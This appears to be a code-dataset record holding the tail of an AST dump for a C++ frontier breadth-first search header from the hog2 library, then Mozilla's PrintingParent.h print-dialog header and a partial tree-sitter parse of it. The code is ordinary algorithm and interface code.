251, 253, 255, 256, 259, 260, 263, 265, 268, 270, 272, 274, 277, 279, 281, 283, 284, 286, 287, 290, 293, 297, 300, 301, 303, 305, 309, 312, 314, 316, 320, 322, 324, 327, 332, 333, 337, 338, 342, 343, 347, 348, 352, 353, 356, 361, 364, 368, 371, 372, 374, 376, 380, 383, 385, 387, 391, 393, 396, 398, 402, 405, 410, 411, 415, 416, 420, 421, 425, 426, 430, 434, 438, 442, 445, 449, 450, 453, 455, 461, 464, 468, 471, 472, 474, 476, 479, 482, 484, 486, 490, 494, 496, 497, 504, 505, 514, 515, 520, 522, 523, 528, 529, 534, 538, 542, 543, 546, 549, 553, 554, 557, 558, 560, 562, 563, 564, 565, 566, 569, 570, 574, 578, 582, 583, 586, 589, 593, 594, 597, 598, 600, 602, 603, 604, 605, 606, 609, 610, 613, 619, 623, 624, 626, 628, 634, 635, 640, 641, 646, 647, 652, 653, 655, 662, 663, 672, 673, 683, 686, 690, 693, 694, 696, 698, 702, 705, 707, 709, 713, 715, 717, 718, 720, 723, 725, 728, 730, 733, 738, 739, 743, 744, 748, 749, 753, 754, 758, 759, 762, 768, 770, 778, 779, 788, 789, 794, 798, 799, 801, 803, 809, 810, 815, 816, 821, 822, 827, 828, 831, 833, 834, 839, 840, 845, 847, 848, 849, 850, 851, 854, 855, 859, 861, 862, 863, 864, 865, 868, 869, 872, 876, 879, 883, 886, 887, 889, 891, 894, 897, 899, 901, 905, 907, 910, 912, 915, 917, 918, 920, 923, 925, 928, 930, 931, 933, 935, 937, 939, 942, 943, 951, 952, 957, 959, 963, 964, 968, 969, 971, 976, 977, 981, 982, 984, 988, 994, 997, 998, 1000, 1004, 1008, 1009, 1011, 1012, 1015, 1019, 1023, 1027, 1028, 1031, 1033, 1038, 1039, 1043, 1044, 1047, 1048, 1052, 1056, 1061, 1062, 1066, 1067, 1070, 1071, 1075, 1081, 1082, 1085, 1086, 1089, 1092, 1096, 1099, 1100, 1102, 1104, 1108, 1111, 1113, 1115, 1119, 1121, 1123, 1124, 1126, 1129, 1131, 1134, 1136, 1141], "returns": [187, 199, 201, 208, 215, 616, 677, 679], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 17, 186, 198, 329, 358, 407, 436, 457, 508, 518, 532, 621, 666, 676, 735, 764, 782, 792, 796, 843, 945, 955, 1021, 1140], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 45, "universal_type": "function", "name": "unknown", "text_snippet": "virtual ~FrontierBFS() {}"}, {"node_id": 49, "universal_type": "function", "name": "unknown", "text_snippet": "FrontierBFS()"}, {"node_id": 54, "universal_type": "function", "name": "unknown", "text_snippet": "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &theP"}, {"node_id": 84, "universal_type": "function", "name": "unknown", "text_snippet": "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &the"}, {"node_id": 114, "universal_type": "function", "name": "unknown", "text_snippet": "InitializeSearch(SearchEnvironment<state, action> *env, state &from)"}, {"node_id": 133, "universal_type": "function", "name": "unknown", "text_snippet": "InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from)"}, {"node_id": 157, "universal_type": "function", "name": "unknown", "text_snippet": "DoOneIteration(SearchEnvironment<state, action> *env)"}, {"node_id": 172, "universal_type": "function", "name": "unknown", "text_snippet": "const FrontierBFSClosedList &GetCurrentClosedList()\n\t{\n\t\tif (mOpen1.size() > 0) return mClosed2;\n\t\ti"}, {"node_id": 174, "universal_type": "function", "name": "unknown", "text_snippet": "GetCurrentClosedList()"}, {"node_id": 203, "universal_type": "function", "name": "unknown", "text_snippet": "uint64_t GetNodesExpanded() { return nodesExpanded; }"}, {"node_id": 205, "universal_type": "function", "name": "unknown", "text_snippet": "GetNodesExpanded()"}, {"node_id": 210, "universal_type": "function", "name": "unknown", "text_snippet": "uint64_t GetNodesTouched() { return nodesTouched; }"}, {"node_id": 212, "universal_type": "function", "name": "unknown", "text_snippet": "GetNodesTouched()"}, {"node_id": 220, "universal_type": "function", "name": "unknown", "text_snippet": "ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t F"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <iostream>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"SearchEnvironment.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <ext/hash_map>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"FPUtil.h\"\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "/*\n * FrontierBFS.h\n * hog2\n *\n * Created by <NAME> on 1/29/11.\n * Copyright 2011. All rights reserved.\n *\n */\n\n#ifndef FRONTIERBFS_H\n#define FRONTIERBFS_H\n\n#include <iostream>\n#include \"SearchEnvironment.h\"\n#include <ext/hash_map>\n#include \"FPUtil.h\"\n\ntypedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;\n\ntemplate <class state, class action>\nclass FrontierBFS {\npublic:\n\tFrontierBFS() { }\n\tvirtual ~FrontierBFS() {}\n\tvoid GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &thePath);\n\tvoid GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &thePath);\n\t\n\tvoid InitializeSearch(SearchEnvironment<state, action> *env, state &from);\n\tvoid InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);\n\tbool DoOneIteration(SearchEnvironment<state, action> *env);\n\t\n\tconst FrontierBFSClosedList &GetCurrentClosedList()\n\t{\n\t\tif (mOpen1.size() > 0) return mClosed2;\n\t\tif (mOpen2.size() > 0) return mClosed1;\n\t\t//assert(!\"Open and closed are both null\");\n\t\treturn mClosed1;\n\t}\n\tuint64_t GetNodesExpanded() { return nodesExpanded; }\n\tuint64_t GetNodesTouched() { return nodesTouched; }\nprivate:\n\n\tvoid ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList);\n\t\n\t\n\tuint64_t nodesExpanded, nodesTouched;\n\tint depth;\n\t\n\tstd::deque<state> mOpen1;\n\tstd::deque<state> mOpen2;\n\tFrontierBFSClosedList mClosed1; // store parent id!\n\tFrontierBFSClosedList mClosed2; // store parent id!\n};\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tmOpen1.push_back(from);\t\n\tdepth = 0;\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tfor (unsigned int x = 0; x < from.size(); x++)\n\t\tmOpen1.push_back(from[x]);\n\tdepth = 0;\n}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{\n\tuint64_t n = nodesExpanded;\n\tif ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tstd::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tstd::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}\n\telse {\n\t\treturn true;\n\t}\n\tprintf(\"Depth %d complete; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n\tif ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n\t\treturn true;\n\treturn false;\n}\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tmOpen1.push_back(from);\n\t\n\tdepth = 0;\n\tuint64_t n = nodesExpanded;\n\twhile ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tprintf(\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)\n{\n\tstatic std::vector<state> neighbors;\n\tneighbors.resize(0);\n\twhile (currentOpenList.size() > 0)\n\t{\n\t\tstate s = currentOpenList.front();\n\t\tcurrentOpenList.pop_front();\n\t\t\n\t\tif (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n\t\t{\n//\t\t\tprintf(\"Needed to check against current\\n\");\n\t\t\tcontinue;\n\t\t}\n//\t\tif (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n//\t\t{\n//\t\t\tprintf(\"Needed to check against last\\n\");\n//\t\t\tcontinue;\n//\t\t}\n\t\t\n\t\tcurrentClosedList[env->GetStateHash(s)] = true;\n\t\t\n\t\tnodesExpanded++;\n\t\tenv->GetSuccessors(s, neighbors);\n\t\tfor (unsigned int x = 0; x < neighbors.size(); x++)\n\t\t{\n\t\t\tif (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n\t\t\t\tcontinue;\n\t\t\tif (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n\t\t\t\tcontinue;\n\n\t\t\tnextOpenList.push_back(neighbors[x]);\n\t\t}\n\t}\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{\n\tassert(!\"not defined\");\n}\n\n\n#endif\n"}
81,115
c
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* vim: set sw=4 ts=8 et tw=80 : */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef mozilla_embedding_PrintingParent_h #define mozilla_embedding_PrintingParent_h #include "mozilla/dom/PBrowserParent.h" #include "mozilla/embedding/PPrintingParent.h" class nsIDOMWindow; class PPrintProgressDialogParent; class PPrintSettingsDialogParent; namespace mozilla { namespace embedding { class PrintingParent final : public PPrintingParent { public: virtual bool RecvShowProgress(PBrowserParent* parent, PPrintProgressDialogParent* printProgressDialog, const bool& isForPrinting, bool* notifyOnOpen, bool* success); virtual bool RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog, PBrowserParent* aParent, const PrintData& aData); virtual bool RecvSavePrintSettings(const PrintData& data, const bool& usePrinterNamePrefix, const uint32_t& flags, nsresult* rv); virtual PPrintProgressDialogParent* AllocPPrintProgressDialogParent(); virtual bool DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor); virtual PPrintSettingsDialogParent* AllocPPrintSettingsDialogParent(); virtual bool DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor); virtual void ActorDestroy(ActorDestroyReason aWhy); MOZ_IMPLICIT PrintingParent(); virtual ~PrintingParent(); private: nsIDOMWindow* DOMWindowFromBrowserParent(PBrowserParent* parent); nsresult ShowPrintDialog(PBrowserParent* parent, const PrintData& data, PrintData* result); }; } // namespace embedding } // namespace mozilla #endif
36.91
55
(translation_unit) "/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n/* vim: set sw=4 ts=8 et tw=80 : */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n#ifndef mozilla_embedding_PrintingParent_h\n#define mozilla_embedding_PrintingParent_h\n\n#include "mozilla/dom/PBrowserParent.h"\n#include "mozilla/embedding/PPrintingParent.h"\n\nclass nsIDOMWindow;\nclass PPrintProgressDialogParent;\nclass PPrintSettingsDialogParent;\n\nnamespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n} // namespace mozilla\n\n#endif\n\n" (comment) "/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */" (comment) "/* vim: set sw=4 ts=8 et tw=80 : */" (comment) "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */" (preproc_ifdef) "#ifndef mozilla_embedding_PrintingParent_h\n#define mozilla_embedding_PrintingParent_h\n\n#include "mozilla/dom/PBrowserParent.h"\n#include "mozilla/embedding/PPrintingParent.h"\n\nclass nsIDOMWindow;\nclass PPrintProgressDialogParent;\nclass PPrintSettingsDialogParent;\n\nnamespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n} // namespace mozilla\n\n#endif" (#ifndef) "#ifndef" (identifier) "mozilla_embedding_PrintingParent_h" (preproc_def) "#define mozilla_embedding_PrintingParent_h\n" (#define) "#define" (identifier) "mozilla_embedding_PrintingParent_h" (preproc_include) "#include "mozilla/dom/PBrowserParent.h"\n" (#include) "#include" (string_literal) ""mozilla/dom/PBrowserParent.h"" (") """ (string_content) "mozilla/dom/PBrowserParent.h" (") """ (preproc_include) "#include "mozilla/embedding/PPrintingParent.h"\n" (#include) "#include" (string_literal) ""mozilla/embedding/PPrintingParent.h"" (") """ (string_content) "mozilla/embedding/PPrintingParent.h" (") """ (declaration) "class nsIDOMWindow;" (type_identifier) "class" (identifier) "nsIDOMWindow" (;) ";" (declaration) "class PPrintProgressDialogParent;" (type_identifier) "class" (identifier) "PPrintProgressDialogParent" (;) ";" (declaration) "class PPrintSettingsDialogParent;" (type_identifier) "class" (identifier) "PPrintSettingsDialogParent" (;) ";" (function_definition) "namespace mozilla {\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n}" (type_identifier) "namespace" (identifier) "mozilla" (compound_statement) "{\nnamespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n} // namespace embedding\n}" ({) "{" (function_definition) "namespace embedding {\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n}" (type_identifier) "namespace" (identifier) "embedding" (compound_statement) "{\n\nclass PrintingParent final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n};\n}" ({) "{" (declaration) "class PrintingParent" (type_identifier) "class" (identifier) "PrintingParent" (;) "" (labeled_statement) "final : public PPrintingParent\n{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n}" (statement_identifier) "final" (:) ":" (ERROR) "public PPrintingParent" (type_identifier) "public" (identifier) "PPrintingParent" (compound_statement) "{\npublic:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);\n virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);\n\n virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);\n\n virtual PPrintProgressDialogParent*\n AllocPPrintProgressDialogParent();\n\n virtual bool\n DeallocPPrintProgressDialogParent(PPrintProgressDialogParent* aActor);\n\n virtual PPrintSettingsDialogParent*\n AllocPPrintSettingsDialogParent();\n\n virtual bool\n DeallocPPrintSettingsDialogParent(PPrintSettingsDialogParent* aActor);\n\n virtual void\n ActorDestroy(ActorDestroyReason aWhy);\n\n MOZ_IMPLICIT PrintingParent();\n virtual ~PrintingParent();\n\nprivate:\n nsIDOMWindow*\n DOMWindowFromBrowserParent(PBrowserParent* parent);\n\n nsresult\n ShowPrintDialog(PBrowserParent* parent,\n const PrintData& data,\n PrintData* result);\n}" ({) "{" (labeled_statement) "public:\n virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);" (statement_identifier) "public" (:) ":" (declaration) "virtual bool\n RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success);" (type_identifier) "virtual" (ERROR) "bool" (identifier) "bool" (function_declarator) "RecvShowProgress(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success)" (identifier) "RecvShowProgress" (parameter_list) "(PBrowserParent* parent,\n PPrintProgressDialogParent* printProgressDialog,\n const bool& isForPrinting,\n bool* notifyOnOpen,\n bool* success)" (() "(" (parameter_declaration) "PBrowserParent* parent" (type_identifier) "PBrowserParent" (pointer_declarator) "* parent" (*) "*" (identifier) "parent" (,) "," (parameter_declaration) "PPrintProgressDialogParent* printProgressDialog" (type_identifier) "PPrintProgressDialogParent" (pointer_declarator) "* printProgressDialog" (*) "*" (identifier) "printProgressDialog" (,) "," (parameter_declaration) "const bool& isForPrinting" (type_qualifier) "const" (const) "const" (primitive_type) "bool" (ERROR) "&" (&) "&" (identifier) "isForPrinting" (,) "," (parameter_declaration) "bool* notifyOnOpen" (primitive_type) "bool" (pointer_declarator) "* notifyOnOpen" (*) "*" (identifier) "notifyOnOpen" (,) "," (parameter_declaration) "bool* success" (primitive_type) "bool" (pointer_declarator) "* success" (*) "*" (identifier) "success" ()) ")" (;) ";" (declaration) "virtual bool\n RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData);" (type_identifier) "virtual" (ERROR) "bool" (identifier) "bool" (function_declarator) "RecvShowPrintDialog(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData)" (identifier) "RecvShowPrintDialog" (parameter_list) "(PPrintSettingsDialogParent* aDialog,\n PBrowserParent* aParent,\n const PrintData& aData)" (() "(" (parameter_declaration) "PPrintSettingsDialogParent* aDialog" (type_identifier) "PPrintSettingsDialogParent" (pointer_declarator) "* aDialog" (*) "*" (identifier) "aDialog" (,) "," (parameter_declaration) "PBrowserParent* aParent" (type_identifier) "PBrowserParent" (pointer_declarator) "* aParent" (*) "*" (identifier) "aParent" (,) "," (parameter_declaration) "const PrintData& aData" (type_qualifier) "const" (const) "const" (type_identifier) "PrintData" (ERROR) "&" (&) "&" (identifier) "aData" ()) ")" (;) ";" (declaration) "virtual bool\n RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv);" (type_identifier) "virtual" (ERROR) "bool" (identifier) "bool" (function_declarator) "RecvSavePrintSettings(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv)" (identifier) "RecvSavePrintSettings" (parameter_list) "(const PrintData& data,\n const bool& usePrinterNamePrefix,\n const uint32_t& flags,\n nsresult* rv)" (() "(" (parameter_declaration) "const PrintData& data" (type_qualifier) "const" (const) "const" (type_identifier) "PrintData" (ERROR) "&" (&) "&" (identifier) "data" (,) "," (parameter_declaration) "const bool& usePrinterNamePrefix" (type_qualifier) "const" (const) "const" (primitive_type) "bool" (ERROR) "&" (&) "&" (identifier) "usePrinterNamePrefix" (,) "," (parameter_declaration) "const uint32_t& flags" (type_qualifier) "const" (const) "const" (primitive_type) "uint32_t" (ERROR) "&" (&) "&" (identifier) "flags" (,) "," (parameter_declaration) "nsresult* rv" (type_identifier) "nsresult" (pointer_declarator) "* rv" (*) "*" (identifier) "rv" ()) ")" (;) ";" (declaration) "virtual PPrintProgressDialogParent" (type_identifier) "virtual" (identifier) "PPrintProgressDialogParent" (;) "" (expression_statement) "*\n AllocPPrintProgressDialogParent();" (pointer_expression) "*\n AllocPPrintProgressDialogParent()" (*) "*" (call_expression) 